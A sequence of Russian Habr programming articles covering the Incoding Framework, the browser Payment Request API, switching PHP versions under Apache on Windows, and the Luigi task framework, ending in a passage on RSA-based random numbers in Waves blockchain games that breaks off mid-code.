return IncodingResult.Error(ModelState)
}
```
*примечание: реальный код несколько сложнее из-за дополнительной логики, но пользователь Incoding Framework абстрагирован от этих деталей и работает с TryPush или MVD push*
В catch мы перехватываем только IncWebException (на основе которого заполняем ModelState), а остальные exception считаем провальными и оставляем их обработку на совесть global.asax.
###### А как было раньше ?
Ответ поможет проанализировать, чем же решение на базе Incoding Framework лучше того, что имеется в стандартном asp.net mvc
```
public ActionResult Add(AddUserCommand command)
{
if (ModelState.IsValid)
return View(command);
return Execute(command);
}
```
Если ModelState содержит ошибки, возвращается View, которое строится на основе command (хорошо, если не используется Container с дополнительными списками, которые тоже придется заново строить), чтобы сохранить состояние. Такое поведение введет к следующим проблема:
* Заново строится форма, что занимает время и увеличивает трафик
* Возвращаемый результат является html (пусть и упакованный в json), что не позволяет повторно использовать action, как API для сторонних (мобильных) приложений
#### Итог
MVD является очень хорошим союзником для борьбы с однотипными Action, которые приводят к «разбуханию» кода, что особенно критично на поздних этапах проекта. MVD можно использовать без IML, но тогда теряется возможность использовать Selector в routes, что негативно скажется на типизации, из-за того, что придется в «ручную» (pure js) собирать параметры.
Конечно, могут быть сценарии с которыми MVD не способен (временно или просто не возможно реализовать) справится, но ничто не мешает написать Controller и Action для конкретных (может это всего 5% — 10%) случаев.
#### Получается все ради того, чтобы убрать дубляж ?
Если MVD поможет сократить код на 10-15% и ускорить разработку, то это уже очень хороший результат, но мы пошли дальше и реализовали возможность строить схему end point (идея взята у wcf endpoint)…
##### Исходный код, как документация ?
###### Диалог между разработчиком api и мобильного приложения:
* **Api** — я добавил новый запрос, по адресу /GetUsers?Active=true
* **Api** — а также новые поля для создания user ( Comment, City, State )
* **Api** — о, чуть не забыл City это справочник и его можно получить по запросу /GetCities
* **Api** — и ещё один момент, заказчик просил, чтобы State был числом, так что учти это
* **Мобильное приложение** — ок, опиши в документе и назови %sitename%-api-%current-version%
*примечание: основной проблемой является %current-version%, потому что приходится поддерживать актуальность документации, после каждого изменения в коде*
###### Тот же диалог, но с mvd end-points
* **Api** — обновил код
* **Мобильное приложение** — уже можно смотреть appDomain/Dispatcher/Endpoints?
* **Api** — конечно, там кстати песочница где можно проверить command/query
*примечание: песочница, так же удобна и для разработчика API, так как часто разработка идет без UI (user interface) и чтобы быстро проверить на работоспособность (unit test покрывает код, но интеграционные тоже нужны) можно воспользоватся авто-сгенерированной формой*
*примечание: [пример](http://mvd-endpoint.incframework.com/) такой страницы, которая находится на ранней стадии разработки, но отражает общую картину, то есть по большей части не хватает внимания к деталям, чтобы упаковать это решение в готовую библиотеку.*
**Вывод**: возможность строить документацию на основе исходного кода, повышает обратную связь между разработчиками API и мобильного приложения. Кроме документации, можно расширить функционал, реализовав статистику запросов, профилирование и многое другое, что становится возможным реализовать из-за унифицированного кода, который можно разбирать и анализировать через рефлексию.
**P.S.** опубликована новая версия (пока beta) Incoding Framework в nuget, где появилось много нововведений и доработок. Я приведу несколько, а остальные постараюсь расписать в отдельных статьях (полный список на нашем [bugtracker](http://youtrack.incoding.biz/issues/Inc?q=%231.3+))
* Упрощения условий
```
Break.If(r=>r.Is(()=>Selector.Jquery.Self()).And.Is(()=>"id".ToId()== 12)) // Old
Break.If(()=>Selector.Jquery.Self() && id.ToId() == 12) // New
```
* Реализация EF, RavenDB, MongoDb провайдеров (одна command и разные ORM на [github](https://github.com/IncodingSoftware/Inc-Orm-Benchmark) и [inc-todo-ravendb](https://github.com/IncodingSoftware/inc-todo-raven))
* Упрощения синтаксиса
```
inDsl.Core().JQuery.Attributes.SetAttr(HtmlAttribute.Checked) // Now
inDsl.Attr.Set(HtmlAttr.Checked) // Future
```
*примечание: причина статуса beta (в конце мая уже будет стабильная версия) в том, что ещё не все наши проекты переведены на эту версию и остался ряд задач, которые планировали для этого релиза* | https://habr.com/ru/post/221585/ | null | ru | null |
# Стандартный браузерный API Payment Request
Знаете ли вы о том, что во многих современных браузерах имеется встроенный API, который называется Payment Request? Этот API описан в [стандарте](https://www.w3.org/TR/payment-request/) W3C, который направлен на поддержку работы с платёжной и контактной информацией. [Вот](https://developers.google.com/web/fundamentals/payments/) обзор стандарта на ресурсе developers.google.com. Обзор [реализации](https://developer.mozilla.org/en-US/docs/Web/API/Payment_Request_API) этого API на сайте MDN говорит о том, что Payment Request даёт разработчику браузерные средства, которые позволяют пользователям связывать предпочитаемые ими платёжные системы и платформы с интернет-магазинами. Это повышает удобство выполнения платежей за товары и услуги, ускоряя и упрощая этот процесс. В частности, например, API Payment Request позволяет пользователю ввести свои платёжные данные и адрес лишь один раз, а не вводить одни и те же сведения на каждом сайте. Выполнение оплаты на всех сайтах, поддерживающих этот API, будет выглядеть для пользователя одинаково. У API Payment Request есть и другие ценные возможности. Среди них — решение проблем с доступностью платёжных инструментов для пользователей с ограниченными возможностями, синхронизация платёжных данных между различными устройствами пользователей, стандартизированные средства обработки ошибок.
[](https://habr.com/ru/company/ruvds/blog/460799/)
Материал, перевод которого мы сегодня публикуем, посвящён демонстрации практического использования API Payment Request. Сразу же стоит отметить, что API Payment Request — это экспериментальная технология, которая вполне может измениться в будущем. Однако автор этого материала говорит, что она, несмотря на это, достойна того, чтобы с ней ознакомиться. Он уверен в том, что эту технологию ждёт светлое будущее, и в том, что изменения, которые могут быть в неё внесены, не слишком сильно повлияют на основные принципы работы с ней.
Основы
------
От широкого распространения API Payment Request выиграют все, кто принимает участие в создании и использовании систем для проведения интернет-платежей. В частности, для программистов и владельцев сайтов это будет означать облегчение создания систем приёма платежей, а для пользователей — упрощение и ускорение процесса оплаты товаров и услуг.
Для использования этого API в JavaScript-коде сначала нужно создать объект `PaymentRequest`. Выглядит команда его создания так:
```
new PaymentRequest(methodData: fn, details: fn, options?);
```
Конструктору `PaymentRequest` передаётся два обязательных параметра и один необязательный:
* Параметр `methodData` представляет собой массив объектов, содержащих информацию о поставщике платёжных услуг. Это, например — сведения о поддерживаемых методах платежа.
* Параметр `details` — это объект, который содержит сведения о конкретном платеже. Например — общая сумма платежа, сумма налога, стоимость доставки.
* Параметр `options`, необязательный, представляет собой объект, содержащий дополнительные сведения о платеже.
В [документации](https://developer.mozilla.org/en-US/docs/Web/API/Payment_Request_API) с MDN можно найти сведения о том, что API Payment Request можно пользоваться только с применением HTTPS. Это совершенно очевидно, учитывая то, с чем именно работает этот API.
Вот как выглядит процесс взаимодействия пользователя с API Payment Request.
*Использование API Payment Request*
Как видите, система выполнения платежей интегрирована прямо в браузер. Это означает, что для выполнения платежа не нужно использовать небезопасные операции перенаправления, не нужно и обращаться к неким внешним API. Всё происходит непосредственно в браузере.
[Вот](https://codepen.io/DevUncoded/pen/rGjpXG) проект, в котором представлена реализация экрана, демонстрирующего пользователю список сохранённых данных платёжных карт.
*Сохранённые карты*
Рассмотрим практический пример работы с API Payment Request.
Обзор проекта
-------------
Если вы хотите самостоятельно поэкспериментировать с проектом, который мы будем разбирать — можете выполнить у себя следующую команду:
```
git clone https://github.com/indreklasn/payments-request-api-example.git && yarn && yarn start
```
Она клонирует соответствующий репозиторий, устанавливает зависимости проекта и запускает сервер, доступный по адресу `localhost:3000`. Обратите внимание на то, что рассматриваемое нами приложение запускается в локальной системе в исследовательских целях.
Главная страница приложения устроена очень просто. Она имитирует фрагмент интерфейса интернет-магазина, позволяющий «положить в корзину» некий товар. Для запуска процесса оформления покупки нужно нажать на кнопку `BUY`.
*Страница приложения*
Мы имеем дело с очень простым приложением. Поэтому всю логику, имеющую отношение к интерфейсу «интернет-магазина» и к платежам, мы можем разместить в файле `app.js`:
```
let count = 0
const cartIncrementButton = document.getElementById('cartIncrement')
const cartDecrementButton = document.getElementById('cartDecrement')
const countElement = document.getElementById('count')
const buyButton = document.getElementById('purchase')
function init() {
countElement.innerHTML = count
cartIncrementButton.addEventListener('click', () => {
count++
countElement.innerHTML = `${count}$`
})
cartDecrementButton.addEventListener('click', () => {
if (count === 0) return
count--
countElement.innerHTML = `${count}$`
})
}
init()
```
Здесь мы получаем ссылки на элементы DOM, в частности, на кнопки увеличения и уменьшения количества «товара», и привязываем к ним обработчики событий. В соответствующий элемент страницы выводится итоговое количество.
Кнопку `cartIncrementButton` из нашего кода можно представить себе в виде кнопки, которая позволяет добавить некий товар в корзину. Кнопка `cartDecrementButton` позволяет убирать товар из корзины, а в элементе `countElement` выводится цена всех товаров, которые были положены в корзину.
Реализация системы выполнения платежей
--------------------------------------
Следующий код тоже попадает в `app.js`. Он представляет собой реализацию обработчика события, которое возникает при нажатии на кнопку `BUY` (она в коде называется `buyButton`):
```
buyButton.addEventListener('click', () => {
const request = new PaymentRequest(
buildSupportedPaymentMethodData(),
buildShoppingCartDetails()
);
})
```
После того, как пользователь нажмёт кнопку `BUY`, мы создаём новый экземпляр объекта `PaymetnRequest`. Мы используем тут пару функций, которые возвращают то, что нужно передать конструктору объекта. Это — функции `buildSupportedPaymentMethodData` и `buildShoppingCartDetails`.
Первый аргумент конструктора представлен вызовом функции `buildSupportedPaymentMethodData`. Она возвращает массив объектов, представляющих собой поддерживаемые методы платежей. Эта функция объявлена в `app.js`:
```
function buildSupportedPaymentMethodData() {
// Пример поддерживаемых методов платежей:
return [{
supportedMethods: 'basic-card',
data: {
supportedNetworks: ['visa', 'mastercard'],
supportedTypes: ['debit', 'credit']
}
}];
```
Второй аргумент конструктора, `buildShoppingCartDetails`, представляет собой вызов функции, которая формирует сведения, необходимые для оформления покупки.
В состав этих сведений может входить, например, описание приобретаемого товара, его стоимость, общая сумма покупки. Код функции `buildShoppingCartDetails` также находится в `app.js`:
```
function buildShoppingCartDetails() {
return {
id: 'count-order',
displayItems: [
{
label: 'Example item',
amount: {currency: 'USD', value: '1.00'}
}
],
total: {
label: 'Total',
amount: {currency: 'USD', value: count }
}
};
}
```
Обратите внимание на то, что эта функция возвращает объект, а не массив объектов.
Теперь мы готовы к тому, чтобы показать пользователю окно для выполнения платежа. Вызовем метод `.show()` объекта `request`. Этот вызов вернёт промис. Если вы не знакомы с промисами — взгляните на [этот](https://medium.com/better-programming/improve-your-asynchronous-javascript-code-with-async-and-await-c02fc3813eda) материал. Код, опять же, находится в `app.js`:
```
buyButton.addEventListener('click', () => {
const request = new PaymentRequest(
buildSupportedPaymentMethodData(),
buildShoppingCartDetails()
);
request.show().then(paymentResponse => {
console.log(paymentResponse)
})
})
```
В результате, после того, как мы нажмём на кнопку `BUY`, мы должны увидеть то, что показано на следующем рисунке.
*Рассмотрение платежа пользователем*
На этом шаге вам, вероятно, понадобится добавить в систему сведения о банковской карте. Я рекомендую использовать тут тестовую карту VISA. Введите в соответствующие поля номер карты, ваше имя и адрес. Мы всего лишь тестируем API, поэтому введённые данные могут и не быть реальными.
*Номер тестовой карты Visa*
*Ввод сведений о карте*
Обработка платежа
-----------------
После того, как мы ввели в систему сведения о карте и подтвердили платёж, мы получаем объект [PaymentResponse](https://developer.mozilla.org/en-US/docs/Web/API/PaymentResponse), возвращённый из промиса.
Вызовем его метод [.complete()](https://developer.mozilla.org/en-US/docs/Web/API/PaymentResponse#Methods) для того чтобы указать пользователю на то, что всё идёт как надо. Вот как это выглядит в коде:
```
buyButton.addEventListener('click', () => {
const request = new PaymentRequest(buildSupportedPaymentMethodData(), buildShoppingCartDetails());
request.canMakePayment().then(result => {
if (result) {
request.show().then(paymentResponse => {
console.log(paymentResponse.details)
// Здесь выполняется обработка платежа. Мы, в тестовых целях, просто сообщаем пользователю о том, что операция прошла успешно.
paymentResponse.complete('success')
.then(() => thankYouMessage.style.opacity = 1)
})
}
})
})
```
Вот и всё! Только что мы рассмотрели код, который необходим для реализации простейшей корзины интернет-магазина.
Вот полная демонстрация работы приложения.
*Демонстрация работы приложения*
→ [Тут](https://github.com/indreklasn/payments-request-api-example) можно найти исходный код проекта.
О поддержке API Payment Request браузерами
------------------------------------------
[Вот](https://caniuse.com/#search=payments%20api) сведения о поддержке API Payment Request с caniuse.com.
*Какие браузеры поддерживают API Payment Request?*
Как можно видеть, этот API является сравнительно новым, поэтому он пока не отличается особенно широкой поддержкой браузеров. Хорошо то, что его поддерживают Chrome, Safari, Firefox и Edge. Вы, наверняка, пользуетесь хотя бы одним из этих браузеров, поэтому вполне можете испытать всё то, о чём мы говорили выше.
Надо отметить, что вполне очевидно то, что в сфере поддержки API Payment Request браузерами нужно выполнить ещё много работы. Особенно это касается мобильных браузеров. Поэтому я, если бы использовал сейчас этот API, не рассчитывал бы пока на его работу на мобильных устройствах.
Итоги
-----
У API Payment Request есть все шансы стать распространённой и востребованной технологией. Поэтому, если эта технология вас заинтересовала — [вот](https://developers.google.com/web/fundamentals/payments/basics/how-payment-ecosystem-works), [вот](https://www.w3.org/TR/payment-request/#introduction), [вот](https://developer.mozilla.org/en-US/docs/Web/API/Payment_Request_API) и [вот](https://stripe.com/docs/payment-request-api) — материалы, которые могут помочь вам лучше в ней разобраться.
**Уважаемые читатели!** Рассматриваете ли вы возможность использования API Payment Request в своих проектах?
[](https://ruvds.com/turbo_vps/) | https://habr.com/ru/post/460799/ | null | ru | null |
# Несколько версий PHP на Windows машине
Весьма актуальная задача: Иметь возможность по клику мыши менять версию PHP на Windows машине. Ранее была подобная [статья](https://habrahabr.ru/post/312202/), в которой создаётся 3 копии httpd.conf. Зачем? Когда есть наипростейшее решение.
Скачиваем архив с [Apache HTTPd](https://www.apachelounge.com/download/VC14/binaries/httpd-2.4.23-win32-VC14.zip) и распаковываем его в папку, например, C:\a\apache. В папке C:\a\apache\conf создаём два файла конфигурации…
**php5.conf**
```
LoadModule php5_module "c:/a/php/php5apache2_4.dll"
AddHandler application/x-httpd-php .php
PHPIniDir "c:/a/php"
```
**php7.conf**
```
LoadModule php7_module "c:/a/php/php7apache2_4.dll"
AddHandler application/x-httpd-php .php
PHPIniDir "c:/a/php"
```
… и добавляем строку:
```
Include conf/php.conf
```
В файл C:\a\apache\conf\httpd.conf после всех LoadModule.
Создаём символическую ссылку *php.conf <===> php5.conf*
**Скрытый текст**
```
mklink c:\a\apache\conf\php.conf c:\a\apache\conf\php5.conf
```
Скачиваем необходимые версии PHP…
* [PHP 5.6.26](http://windows.php.net/downloads/releases/php-5.6.26-Win32-VC11-x86.zip)
* [PHP 7.0.11](http://windows.php.net/downloads/releases/php-7.0.11-Win32-VC14-x86.zip)
… и распаковываем их в папки C:\a\php56 и C:\a\php70 соответственно.
Ранее, в конфигах Apache, мы указали, что PHP следует цеплять из директории C:\a\php, по-этому создаём символическую ссылку *php <===> php56*:
**Скрытый текст**`mklink /d c:\a\php c:\a\php56`
Теперь инсталируем сервис…
**Скрытый текст**
```
c:\a\apache\bin\httpd -k install -n ApacheHTTPd
c:\a\apache\bin\httpd -k start -n ApacheHTTPd
```
… и создаём bat'ники для выбора версии PHP:
**php56.bat**
```
@echo off
c:\a\apache\bin\httpd -k stop -n ApacheHTTPd
del c:\a\apache\conf\php.conf
rd c:\a\php
mklink /d c:\a\php c:\a\php56
mklink c:\a\apache\conf\php.conf c:\a\apache\conf\php5.conf
c:\a\apache\bin\httpd -k start -n ApacheHTTPd
```
**php70.bat**
```
@echo off
c:\a\apache\bin\httpd -k stop -n ApacheHTTPd
del c:\a\apache\conf\php.conf
rd c:\a\php
mklink /d c:\a\php c:\a\php70
mklink c:\a\apache\conf\php.conf c:\a\apache\conf\php7.conf
c:\a\apache\bin\httpd -k start -n ApacheHTTPd
```
Теперь, для удобства, создаём ярлыки для bat'ников, и указываем в свойствах каждого «Запуск от имени администратора».
Спасибо за внимание!
**UPD:**
По подсказке [gewisser](https://habrahabr.ru/users/gewisser/) сделал немного иначе:
В папке C:\a\apache\conf создал два конфигурационных файла:
… для PHP 5.6
```
LoadModule php5_module "c:/a/php56/php5apache2_4.dll"
AddHandler application/x-httpd-php .php
PHPIniDir "c:/a/php56"
Include "c:/a/apache/conf/httpd.conf"
```
… для PHP 7.0
```
LoadModule php7_module "c:/a/php70/php7apache2_4.dll"
AddHandler application/x-httpd-php .php
PHPIniDir "c:/a/php70"
Include "c:/a/apache/conf/httpd.conf"
```
… а из файла httpd.conf удалил строку
```
Include conf/php.conf
```
И поменял bat'ники для запуска:
… для PHP 5.6
```
@echo off & title Apache HTTPd with PHP 5.6
c:\a\apache\bin\httpd -k stop -n ApacheHTTPd
c:\a\apache\bin\httpd -k uninstall -n ApacheHTTPd
c:\a\apache\bin\httpd -k install -n ApacheHTTPd -f "c:/a/apache/conf/php56.conf"
c:\a\apache\bin\httpd -k start -n ApacheHTTPd
```
… для PHP 7.0
```
@echo off & title Apache HTTPd with PHP 7.0
c:\a\apache\bin\httpd -k stop -n ApacheHTTPd
c:\a\apache\bin\httpd -k uninstall -n ApacheHTTPd
c:\a\apache\bin\httpd -k install -n ApacheHTTPd -f "c:/a/apache/conf/php70.conf"
c:\a\apache\bin\httpd -k start -n ApacheHTTPd
```
**P.S.**
Этот способ не является каким-то ноу-хау или чем-то ещё, чем будут пользоваться миллионы, это всего лишь ответ на [пост](https://habrahabr.ru/post/312202/) как наиболее удобный вариант.
Многие знакомы с многочисленными WAMP-комплектами, однако, судя по тому, что подобных статей не мало, можно сделать вывод, что не все хотят ими пользоваться.
Если общество не против, пишите в комменты ссылки на подобные комплекты и подобные статьи, я их прикреплю к своей статье.
Спасибо! | https://habr.com/ru/post/312316/ | null | ru | null |
# Обзор фреймворка Luigi для построения последовательностей выполнения задач
Доброго времени суток! У нас открылось совершенно новое направление обучения — [BigData](https://otus.ru/lessons/BigData/?utm_source=habr&utm_medium=affilate&utm_campaign=bigdata&utm_term=profi11.10), а это значит, что немного расширяется горизонт материалов, которыми мы будем делиться с вами. Сегодня рассмотрим Luigi, как часть того, что раскрывается на нашем курсе.
[Luigi](https://github.com/spotify/luigi) — фреймворк на языке Python для построения сложных последовательностей по выполнению зависимых задач. Довольно большая часть фреймворка направлена на преобразования данных из различных источников (MySql, Mongo, redis, hdfs) и с помощью различных инструментов (от запуска процесса до выполнения задач разных типов на кластере Hadoop). Разработан в компании Spotify и открыт в виде open source инструмента в 2012 году.
Самое главное преимущество фреймворка — возможность выстраивать последовательности зависимых задач. Фреймворк разрешает зависимости, отслеживает граф выполнения, управляет запуском задач, обрабатывает ошибки с возможностью перезапуска нужных задач, распределяет ресурсы рабочих процессов с возможностью параллельной работы независимых частей графа задач.
Для выполнения всех этих задач существуют и другие инструменты. Это [Oozie](http://oozie.apache.org/), [Pinball](https://github.com/pinterest/pinball), [Airflow](https://github.com/apache/incubator-airflow) (находится в статусе инкубации в Apache — проходит различные проверки, недавно вышел обзор на [хабре](https://habrahabr.ru/company/mailru/blog/339392/)). В данной статье рассмотрим только Luigi.
**Установка и документация**
Для установки можно воспользоваться командой:
```
pip install luigi
```
Документация доступна [тут](https://luigi.readthedocs.io/en/stable/#)
**Задача (Task)**
В файле luigi\_demo\_tasks.py определяем класс, наследуемый от luigi.Task. Добавляем вызов run для возможности запуска из консоли.
```
from luigi import Task, run
class MyTask(Task):
pass
if __name__ == '__main__':
run()
```
Запускаем. Дополнительно указываем опцию --local-scheduler, чтобы пока что не обращаться к центральному планировщику задач.
```
python -m luigi_demo_tasks MyTask --local-scheduler
```
Примечание. В документации указан другой способ запуска без вызова run и с добавлением директории в PYTHONPATH.
Видим следующий результат:
```
DEBUG: Checking if MyTask() is complete
/usr/local/lib/python3.4/dist-packages/luigi/worker.py:334: UserWarning: Task MyTask() without outputs has no custom complete() method
is_complete = task.complete()
INFO: Informed scheduler that task MyTask__99914b932b has status PENDING
INFO: Done scheduling tasks
INFO: Running Worker with 1 processes
DEBUG: Asking scheduler for work...
DEBUG: Pending tasks: 1
INFO: [pid 5369] Worker Worker(salt=920153035, workers=1, host=your_host, username=username, pid=5369) running MyTask()
INFO: [pid 5369] Worker Worker(salt=920153035, workers=1, host=your_host username=username, pid=5369) done MyTask()
DEBUG: 1 running tasks, waiting for next task to finish
INFO: Informed scheduler that task MyTask__99914b932b has status DONE
DEBUG: Asking scheduler for work...
DEBUG: Done
DEBUG: There are no more tasks to run at this time
INFO: Worker Worker(salt=920153035, workers=1, host=your_host, username=username, pid=5369) was stopped. Shutting down Keep-Alive thread
INFO:
===== Luigi Execution Summary =====
Scheduled 1 tasks of which:
* 1 ran successfully:
- 1 MyTask()
This progress looks :) because there were no failed tasks or missing external dependencies
===== Luigi Execution Summary =====
```
В сообщениях видим, что задача MyTask ставится на выполнение и успешно выполняется. Повторный запуск дает точно такой же результат.
Сделаем теперь так, чтобы MyTask выполнял некоторую работу. Для этого переопределим метод run из базового класса:
```
from luigi import Task, run
class MyTask(Task):
def run(self):
print("Hello world!")
if __name__ == '__main__':
run()
```
В информации о выполнении задачи увидим следующее:
```
INFO: [pid 7448] Worker Worker(salt=857719525, workers=1, host=your_host, username=username, pid=7448) running MyTask()
Hello world!
INFO: [pid 7448] Worker Worker(salt=857719525, workers=1, host=your_host, username=username, pid=7448) done MyTask()
```
**Гарантия однократного выполнения задачи**
Часто бывает так, что необходимо выполнить некую задачу единожды. Например из-за того, что её выполнение является ресурсоёмким. В Luigi задача считается сделанной, если сгенерирован некий объект (файл на машине, файл в hdfs, артефакт в MySql, таблица в Hive и другие), и можно проверить его существование. Для указания объекта необходимо переопределить в задаче метод output и в нем вернуть любого наследника или наследников класса Target. Для примера будем использовать LocalTarget — файл в локальной файловой системе.
```
from luigi import Task, run, LocalTarget
class MyTask(Task):
filename = "hello_file.txt"
def run(self):
with open(self.filename, 'w') as f:
f.write("Hello world!")
def output(self):
return LocalTarget(self.filename)
if __name__ == '__main__':
run()
```
Первый запуск задачи генерирует файл hello\_file.txt. Повторный запуск задачи сообщает нам, что все задачи выполнены.
**Зависимые задачи**
В luigi задачи могут зависеть от других задач. Для указания зависимости от другой задачи необходимо переопределить метод requires. В нем вернуть объект класса любой другой задачи. Определим две зависимые задачи, каждая из которых пишет файл.
```
from luigi import Task, run, LocalTarget
class MyTaskFirst(Task):
filename = "first.txt"
def run(self):
with open(self.filename, 'w') as f:
f.write("first!")
def output(self):
return LocalTarget(self.filename)
class MyTaskSecond(Task):
filename = "second.txt"
def run(self):
with open(self.filename, 'w') as f:
f.write("second!")
def requires(self):
return MyTaskFirst()
def output(self):
return LocalTarget(self.filename)
if __name__ == '__main__':
run()
```
Запуск задачи немного изменился. Указываем для запуска самую последнюю задачу, фреймворк сам определит и выполнит все зависимости.
```
python -m luigi_demo_tasks MyTaskSecond --local-scheduler
```
**Внешние зависимости**
Иногда для выполнения задачи необходимы данные, генерируемые внешними системами. Так как в зависимостях в методе requires можно указывать только другие задачи, то нам понадобится задача-обертка для внешних данных. Для примера рассмотрим задачу подсчета частоты каждого символа в файле hello\_file.txt:
```
from collections import defaultdict
from luigi import Task, run, LocalTarget, ExternalTask
class ExternalData(ExternalTask):
def output(self):
return LocalTarget("hello_file.txt")
class TaskWithExternalData(Task):
filename = "char_counts.txt"
def run(self):
frequencies = defaultdict(int)
with open(self.requires().output().path) as f_in:
for line in f_in:
for c in line:
frequencies[c] += 1
with open(self.filename, 'w') as f_out:
for c, count in frequencies.items():
f_out.write('{}\t{}\n'.format(c, count))
def requires(self):
return ExternalData()
def output(self):
return LocalTarget(self.filename)
if __name__ == '__main__':
run()
```
**Планировщик**
Для централизованного выполнения задач можно использовать центральный планировщик. Его основные задачи: обеспечить отсутствие одновременного выполнения одинаковых задач, предоставить визуализацию всех запущенных задач с их зависимостями.
Из документации запуск планировщика:
```
$ luigid --background --pidfile --logdir --state-path
```
Адрес планировщика по умолчанию:
[localhost](http://localhost):8082/
Запустим предыдущую задачу с использованием планировщика, предварительно удалив файл char\_counts.txt:
```
python -m luigi_demo_tasks TaskWithExternalData
```
В планировщике увидим обе задачи:
А так же граф зависимостей:
**Параллельный запуск задач**
Реализуем несколько зависимых задач, зависимость оформим в виде песочных часов: корневая задача типа 1 зависит от десяти одинаковых задач типа 2. Эти 10 задач типа 2 зависят от одной типа 3. она, в свою очередь, зависит от 10 задач типа 4, и все эти 10 зависят от одной задачи типа 5.
Каждая задача пишет в результате работы файл со своим именем и номером, а так же спит 10 секунд. Это нужно для того, чтобы в планировщике можно было проследить порядок выполнения задач. Обратите внимание на то, что в задачу можно передать параметр. Это позволяет запускать разные по сути задачи с одинаковым кодом.
Для реализации будем использовать наследование, так как это позволит сократить код. Запустим одновременно 5 процессов указав опцию --workers=5
```
python -m luigi_demo_tasks Task1 --Task1-task-index=0 --workers=5
```
В планировщике обновляя страницу увидим следующую последовательность:
Одновременно выполняется не более пяти задач, а иногда только одна, так как от нее зависят все остальные. При этом выделенные воркеры простаивают.
**Запуск задач**
Для запуска задач необходимо использовать какой-либо внешний планировщик, например cron. Соответственно необходимо самостоятельно настраивать получение актуального кода для запуска, логирование и конфигурирование всех задач.
**Дополнительные возможности**
В случае возникновения ошибок в работе luigi может отправить email.
Для каждого набора задач можно указать внешний файл с настройками, настроив перед запуском переменную `LUIGI_CONFIG_PATH`.
Каждая задача может быть запущена с некоторым приоритетом, для указания приоритета необходимо в классе указать поле priority.
Реализовано довольно много классов задач, связанных с типичными примерами обработки данных на кластере — hadoop streaming задача на Python, hadoop jar задача, spark задача и другие. При этом часто они требуют существенной доработки.
Возможно выполнение любой задачи в виде запуска консольной команды с отслеживанием процесса выполнения.
Код самой библиотеки чаще всего довольно прост. Для понимания того, как выстроить зависимые задачи, достаточно посмотреть исходный код базовых классов в luigi. У них довольно простой интерфейс и неплохая документация.
Разработан крупной компанией. На данный момент стабильно есть несколько коммитов в мастер каждую неделю. Скорее всего будет и дальше поддерживаться.
**Недостатки**
Проверка того, выполнена ли задача, происходит только во время построения графа зависимостей. Из-за этого, если запускать выполнение набора задач чаще, чем он весь успевает выполниться, может возникнуть ситуация, когда планировщик запускает две одинаковые задачи.
Нет встроенного планировщика.
Нет способа получить метаинформацию о выполняемых задачах. Нельзя без вспомогательных средств получить документацию по запускаемым задачам, процессам обработки данных. Нет способа, например, получить общий список задач, которые зависят от данной задачи.
Веб-интерфейс планировщика полезен только для того, чтобы увидеть, почему тот или иной набор задач не выполняется. Обычно можно посмотреть на граф зависимостей и увидеть, каких именно данных не хватает.
Не совсем очевидна настройка логирования выполнения задач.
Довольно часто встречается неожиданное поведение.
Поддержка и развитие менее активное, чем, например у Airflow. Для сравнения в [luigi](https://github.com/spotify/luigi/graphs/commit-activity) и в [airflow](https://github.com/apache/incubator-airflow/graphs/commit-activity)
**Вывод**
Luigi хорошо подходит для построения процессов обработки данных. Однако прежде, чем начинать использовать эту библиотеку, есть смысл попробовать реализовать несколько типичных задач на разных фреймворках и выбрать такой, который лучше подойдет именно для ваших задач.
THE END
Как всегда рады мнениям, вопросам и тапкам. | https://habr.com/ru/post/339904/ | null | ru | null |
# RSA-рандом на блокчейне
Есть проблема – сложно сгенерировать случайное число в децентрализованной сети. Чуть ли не все блокчейны уже с этим столкнулись. Ведь в сетях, где нет доверия между пользователями, создание неоспоримого случайного числа решает множество задач.
В статье рассказываем, как удалось решить проблему на примере игр. Первой из них стала [Waves Xmas Tree](https://2019.wavesplatform.com/). Для разработки нам понадобился генератор случайных чисел.
Изначально мы планировали генерировать число на основании информации из блокчейна. Однако потом стало ясно: число могут подтасовать, а значит решение не подходит.
Мы придумали обходной путь: использовать схему «коммит-раскрытие». Сервер «загадывал» число от 1 до 5, добавлял к нему «соль», а затем хэшировал результат при помощи [функции Keccak](https://ru.wikipedia.org/wiki/SHA-3). Cервер заранее деплоил смарт-контракт с уже сохраненным числом. Получается, игра сводидась к тому, что пользователь угадывал число, скрытое хэшем.
Игрок делал ставку, а сервер отправлял загаданное число и «соль» на смарт-контракт. Простым языком, раскрывал карты. После этого сервер сверял цифры и решал, победил пользователь или проиграл.
Если сервер не присылал число или «соль» для проверки, пользователь побеждал. В этом случае для каждой игры было необходимо заранее деплоить смарт-контракт и закладывать в него потенциальный выигрыш. Оказалось, это неудобно, долго и дорого. На тот момент другого безопасного решения не было.
Недавно команда Tradisys предожила добавить в протокол Waves функцию **rsaVerify()**. Она проверяет валидность RSA-подписи на основании публичного и приватного ключа. В итоге функция была добавлена.
Мы разработали три игры: [Dice Roller](https://www.dappocean.io/dapp/DICES), [Coin Flip](https://www.dappocean.io/dapp/COINFLIP) и [Ride On Waves](https://www.dappocean.io/dapp/WRIDER). В каждой реализована технология случайного числа. Разберемся, как это работает.
Рассмотрим генерацию случайного числа на примере Ride on Waves. Смарт-контракт можно найти [здесь](https://wavesexplorer.com/testnet/address/3MrfW5HU9H1r5yAGY5Gzcr1A7ACNPLKsDcC).
Перейдите во вкладку **Script** и выберите **Decompiled**. Увидите код смарт-контракта (он же скрипт).
Код смарт-контракта содержит набор функций. Те, что помечены как @Callable, могут запускаться с помощью **Invocation-транзакций**. Нас интересуют две функции: **bet** и **withdraw**:
* func bet (playerChoice)
* func withdraw (gameId,rsaSign)
1. Пользователь выбирает длину отрезка и размер ставки.
2. Клиент формирует bet-функцию. Для изображения выше это будет **bet («50»)**.
3. Клиент отправляет Invocation-транзакцию на адрес смарт-контракта (broadcast InvocationTx). Транзакция в качестве Сall-параметра содержит функцию bet. Это означает, что Invocation-транзакция запускает выполнение bet-функции (choice: String) на смарт-контракте.
4. Рассмотрим bet-функцию:
```
@Callable(i)
func bet (playerChoice) = {
let newGameNum = IncrementGameNum()
let gameId = toBase58String(i.transactionId)
let pmt = extract(i.payment)
let betNotInWaves = isDefined(pmt.assetId)
let feeNotInWaves = isDefined(pmt.assetId)
let winAmt = ValidateBetAndDefineWinAmt(pmt.amount, playerChoice)
let txIdUsed = isDefined(getString(this, gameId))
if (betNotInWaves)
then throw ("Bet amount must be in Waves")
else if (feeNotInWaves)
then throw ("Transaction's fee must be in Waves")
else if (txIdUsed)
then throw ("Passed txId had been used before. Game aborted.")
else {
let playerPubKey58 = toBase58String(i.callerPublicKey)
